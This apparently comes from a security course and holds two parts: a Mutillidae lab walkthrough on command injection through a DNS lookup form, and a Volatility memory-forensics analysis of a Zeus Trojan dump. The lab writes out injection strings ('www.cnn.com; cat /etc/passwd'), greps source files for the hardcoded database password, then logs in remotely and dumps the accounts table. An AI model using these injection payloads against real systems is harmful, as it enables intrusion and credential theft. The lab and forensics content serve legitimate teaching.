Bài Hướng Dẫn Mutillidae : Lesson 2 - Command Injection Database Interrogation

{ Command Injection Database Interrogation }

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Section 0. Background Information

• What Mutillidae?
  • OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.
• What is Command Injection?
  • Command Injection occurs when an attacker is able to run operating system commands or serverside scripts from the web application.  This vulnerability potential occurs when a web application allows you to commonly do a nslookup, whois, ping, traceroute and more from their webpage.  You can test for the vulnerability by using a technique called fuzzing, where a ";" or "|" or "||" or "&" or "&&" is append to the end of the expected input (eg., www.cnn.com) followed by a command (eg., cat /etc/passwd).
• What is Fuzzing?
  • Fuzz testing or fuzzing is a software testing technique that involves providing invalid, unexpected, or random data to the inputs of a computer program. The program is then monitored for exceptions such as crashes, or failing built-in code assertions or for finding potential memory leaks. Fuzzing is commonly used to test for security problems in software or computer systems.
• Pre-Requisite Lab
  1. Mutillidae: Lesson 1: How to Install Mutillidae in Fedora
     • Note: Remote database access has been turned to provide an additional vulnerability.
  2. BackTrack: Lesson 1: Installing BackTrack 5 
     • Note: This is not absolutely necessary, but if you are a computer security student or professional, you should have a BackTrack VM.
• Lab Notes
  • In this lab we will do the following:
    1. Exploit a command injection/execution fuzzing vulnerability.
    2. Operating System Reconnaissance
    3. Application home directory Reconnaissance
    4. Database Reconnaissance
    5. Encoding PHP Script to view contents
    6. Remotely connecting to database

• Legal Disclaimer  - không áp dụng các bài hướng dẫn trên hệ thống không có thẩm quyền

Section 1. Configure Fedora14 Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit Fedora Mutillidae Virtual Machine Settings
   • Instructions:
     1. Highlight fedora14
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
• Instructions:
  1. Highlight Network Adapter
  2. Select Bridged
  3. Click the OK Button
• 

Section 2. Login to Fedora14 - Mutillidae

1. Start Fedora14 VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select Fedora14 - Mutillidae
     3. Play virtual machine
   • 
2. Login to Fedora14 - Mutillidae
   • Instructions:
     1. Login: student
     2. Password: <whatever you set it to>.
   • 

Section 3. Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
   • Instructions:
     1. Applications --> Terminal
   • 
2. Switch user to root
   • Instructions:
     1. su - root
     2. <Whatever you set the root password to>
   • 
3. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes (FYI):
     • As indicated below, my IP address is 192.168.1.111.
     • Please record your IP address.
   • 

Section 4. Configure BackTrack Virtual Machine Settings

1. Edit the BackTrack5R1 VM
   • Instructions:
     1. Select BackTrack5R1 VM
     2. Click Edit virtual machine settings
   • 
2. Edit Virtual Machine Settings
   • Instructions:
     1. Click on Network Adapter
     2. Click on the Bridged Radio button
     3. Click on the OK Button
   • 

Section 5. Play and Login to BackTrack

1. Play the BackTrack5R1 VM
   • Instructions:
     1. Click on the BackTrack5R1 VM
     2. Click on Play virtual machine
   • 
2. Login to BackTrack
   • Instructions:
     1. Login: root
     2. Password: toor or <whatever you changed it to>.
   • 
3. Bring up the GNOME
   • Instructions:
     1. Type startx
   • 

Section 6. Open Console Terminal and Retrieve IP Address

1. On BackTrack, Start up a terminal window
   • Instructions:
     1. Click on the Terminal Window
   • 
2. Obtain the IP Address
   • Instructions:
     1. ifconfig -a
   • Note(FYI):
     • My IP address 192.168.1.109.
     • In your case, it will probably be different.
     • This is the machine that will be use to attack the victim machine (Metasploitable).
   • 

Section 7. Start Web Browser Session to Mutillidae

1. On BackTrack, Open Firefox
   • Instructions:
     1. Click on the Firefox Icon
   • Notes (FYI):
     • If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
   • 
2. Open Mutillidae
   • Notes (FYI):
     • Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. http://192.168.1.111/mutillidae
   • 

Section 8. Basic Command Execution Testing

1. Go to DNS Lookup
   • Instructions:
     1. OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
   • 
2. Test DNS Lookup
   • Notes (FYI):
     • DNS Lookup on the surface is design to do just that,,, provide a DNS Lookup.
   • Instructions:
     1. Hostname/IP: www.cnn.com
     2. Click the Lookup DNS button
     3. View your Results
   • 
3. Test DNS Lookup Vulnerability
   • Notes (FYI):
     • Now we will test a security vulnerable that will let us append a Unix/Linux command to the end of the hostname we are looking up.
     • The procedure of appending a ";" after what the application expects, is called command fuzzing.
     • Below you will run the "uname -a" command  
   • Instructions:
     1. Hostname/IP: www.cnn.com; uname -a
     2. Click the Lookup DNS button
     3. View your Results
   • 
4. Perform Reconnaissance
   • Notes (FYI):
     • Don't you think it would be nice to know where there particular web page application is running from?
     • Now we are going to run the "pwd" to show us the current working directory.
     • Also, notice in the Address Bar that the application is called dns-lookup.php  
   • Instructions:
     1. Hostname/IP: www.cnn.com; pwd
     2. Click the Lookup DNS button
     3. View your Results
     4. Notice that dns-lookup.php is the vulnerable program.
   • 
5. Interrogate the dns-lookup.php application
   • Notes (FYI):
     • Just for grins, let's see if we can find the line of code where PHP is executing a system call.
     • I will use the xargs command to search, using egrep, for the following strings: exec OR system OR virtual.  
   • Instructions:
     1. Hostname/IP:
        • www.cnn.com; find /var/www/html/mutillidae -name "dns-lookup.php" | xargs egrep '(exec|system|virtual)'
     2. Click the Lookup DNS button
     3. View your Results
        • Notice there is a function called shell_exec(), that is actually executing the Linux command "nslookup".
   • 

Section 9. Database Reconnaissance

1. Discover the Database Engine using the /etc/passwd file
   • Notes (FYI):
     • Let's search the /etc/passwd file for the following strings: postgres, sql, db2 and ora.  
   • Instructions:
     1. Hostname/IP:
        • www.cnn.com; cat /etc/passwd | egrep -i '(postgres|sql|db2|ora)'
     2. Click the Lookup DNS button
     3. View your Results
        • MySQL is the database engine
   • 
2. Discover the Database Engine using the "ps" command
   • Notes (FYI):
     • Let's use the "ps" command to search for the following process strings: postgres, sql, db2 and ora.  
   • Instructions:
     1. Hostname/IP:
        • www.cnn.com; ps -eaf | egrep -i '(postgres|sql|db2|ora)'
     2. Click the Lookup DNS button
     3. View your Results
        • The mysqld (daemon) is running.
   • 

Section 10. Database Interrogation

1. List all php scripts
   • Notes (FYI):
     • Our next step is to try to figure out if any of the php scripts located under /var/www/html/mutillidae contain a database username and password.
     • But, first list all the php scripts.
   • Instructions:
     1. Hostname/IP:
        • www.cnn.com; find /var/www/html/mutillidae -name "*.php"
     2. Click the Lookup DNS button
     3. View your Results
        • There is over 900+ php scripts.
   • 
2. Search php scripts for the string password
   • Notes (FYI):
     • Now we will search the 900+ php scripts for the string "password" and "=".
   • Instructions:
     1. Hostname/IP:
        • www.cnn.com; find /var/www/html/mutillidae -name "*.php" | xargs grep -i "password" | grep "="
     2. Click the Lookup DNS button
     3. View your Results (Continue to next step).
   • 
3. Obtain password from search results
   • Notes (FYI):
     • Now you have to look closely to see the string password and the actual password "samurai".
   • Instructions:
     1. Notice that the MySQLHandler.php contains the following string:
        • $mMySQLDatabasePassword = "samurai";
   • 
4. Search MySQLHandler.php for the strings user OR login
   • Notes (FYI):
     • We now know that MySQLHandler.php contains the database password.
     • The only thing left it to obtain the database username for the password samarai.
   • Instructions:
     1. Hostname/IP:
        • www.cnn.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs egrep -i '(user|login)' | grep "="
     2. Click the Lookup DNS button
     3. View your Results (Continue to next step).
   • 
5. Obtain username from search results
   • Instructions:
     1. Notice that the MySQLHandler.php contains the following string:
        • $mMySQLDatabaseUsername = "root";
     2. Notice the MySQL connection method.
        • mMySQLConnection = new mysqli($HOSTNAME, $USERNAME, $SAMURAI_WTF_PASSWORD);
   • 
6. Display MySQLHandler.php
   • Notes (FYI):
     • I guess I could have showed you this first, but good things come to those that wait.
     • It is possible to display the contents of the MySQLHandler.php program, by encoding the "<?php" and "?>" tags.  These tags tell apache to execute a php script.  To get around this problem and just display the text of the program, we change "<" to "&#60;" and ">" to "&#62;".
   • Instructions:
     1. Hostname/IP:
        • www.cnn.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs cat | sed 's/</\&#60;/g' | sed 's/>/\&#62;/g'
     2. Click the Lookup DNS button
     3. View your Results (Continue to next step).
   • 
7. Viewing the Code
   • Notes (FYI):
     • Kind of scary,,, right?
     • Typically, you should never put authentication information into a program that accesses a database on the web.
   • Instructions:
     1. Database Username
        • static public $mMySQLDatabaseUsername = "root";
     2. Database Password
        • static public $mMySQLDatabasePassword = "samurai";
     3. Database Name
        • static public $mMySQLDatabaseName = "nowasp";
   • 

Section 11. Connect Remotely to MySQL

1. On BackTrack, Open a Terminal
   • Instructions:
     1. Click on the Terminal Icon
   • 
2. Connect Remotely to the Mutillidae Database
   • Notes (FYI):
     • Replace 192.168.1.111 with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. mysql -h 192.168.1.111 -uroot -psamurai
     2. show databases;
     3. use nowasp;
   • 
3. Table Navigation
   • Notes (FYI):
     • Basically, we are looking for a table that contains username and password information.
     • In this case, the account table contain the authentication information.
   • Instructions:
     1. show tables;
     2. desc accounts;
   • 
4. Display Account Table Records
   • Instructions:
     1. select * from accounts;
     2. quit;
   • 

Section 12. Proof of Lab

1. Proof of Lab
   • Notes (FYI):
     • Replace 192.168.1.111 with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. cd
     2. mysql -h 192.168.1.111 -uroot -psamurai -e "select * from nowasp.accounts" > account.txt
     3. ls -l account.txt
     4. date
     5. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
   • Proof of Lab Instructions:
     1. Do a PrtScn
     2. Paste into a word document
     3. Upload to website www.antoanthongtin.edu.vn
   • 

Bài Tập 19.2 (tham khảo) - Zeus Analysis in Volatility

In this post I'm going to talk about Volatility. Volatility is one of  the best tools for memory forensics. It is an open source framework writen in python for incident response and malware analysis.

Thanks to Malware Analyst's Cookbook we can get a real memory dump from an infected host with Zeus Trojan. You can donwload zeus.vmem.zip [41,4 MB]
1) With the option "imageinfo" you can find out what type of OS was running.

1	python vol.py -f zeus.vmem imageinfo

2) Now, we are going to watch what processes were running on the computer when the memory dump was recorder.

1	python vol.py -f zeus.vmem pstree

3) I couldn't see anything weird... I wanted to know if the machine was making connections...

1	python vol.py -f zeus.vmem connscan

4) Ok. Our machine was making connections with 193.104.47.75 by the 80/tcp port. The proccess Pid is 856. We want to know whether this process belong to an Internet Browser.

We run it again:

1	python vol.py -f zeus.vmem pstree

5) We can see that svchost.exe is the process which is making connections with193.104.47.75 instead of an Internet Browser... This is not common... Is this IP address blacklisted?

http://www.ipvoid.com/scan/193.104.41.75/

6) As you can see, this IP is blacklisted. It is common that a trojan adds a registry key to be sure that it will be running every time the computer is restarted. Take a look at the Winlongon register key...

1	python vol.py -f zeus.vmem printkey -K "Microsoft\Windows NT\CurrentVersion\Winlogon"

You can see sdra64.exe will run when the computer starts. If you search on Google you can see a lot of websites talking about this process... It seems to be a trojan....

7) Now, we are going to try find a hidden or injected code/DLLs in the user mode memory and dump it...

1	python vol.py -f zeus.vmem malfind --dump-dir evidencias/

8) We are really interested in dumping the process with the Pid 856 which has established connections with the blacklisted servers.

9) Now, I'm going to get the SHA256 hash in order to search in Virustotal and see if this process is recognized by any Antivirus.

https://www.virustotal.com/en/file/8e3be5dc65aa35d68fd2aba1d3d9bf0f40d5118fe22eb2e6c97c8463bd1f1ba1/analysis/

 

Ok, so far so good.


10) We are going to use the mutantscan command. With this option, we can display all objects.

1	python vol.py -f zeus.vmem mutantscan

We noticed _AVIRA_2108... I don't know where I've heard this before...

1	python vol.py -f zeus.vmem mutantscan | grep AVIRA

I was looking for this object on Google. I visited www.fortiguard.com and found this.

11) This trojan usually shuts down our Firewall.. We can check it with the next command.

1	python vol.py -f zeus.vmem printkey -K "ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile"

This is evidence that the computer was infected with Zeus Trojan. In the next post, we are going to analyze another memory dump with Volatility.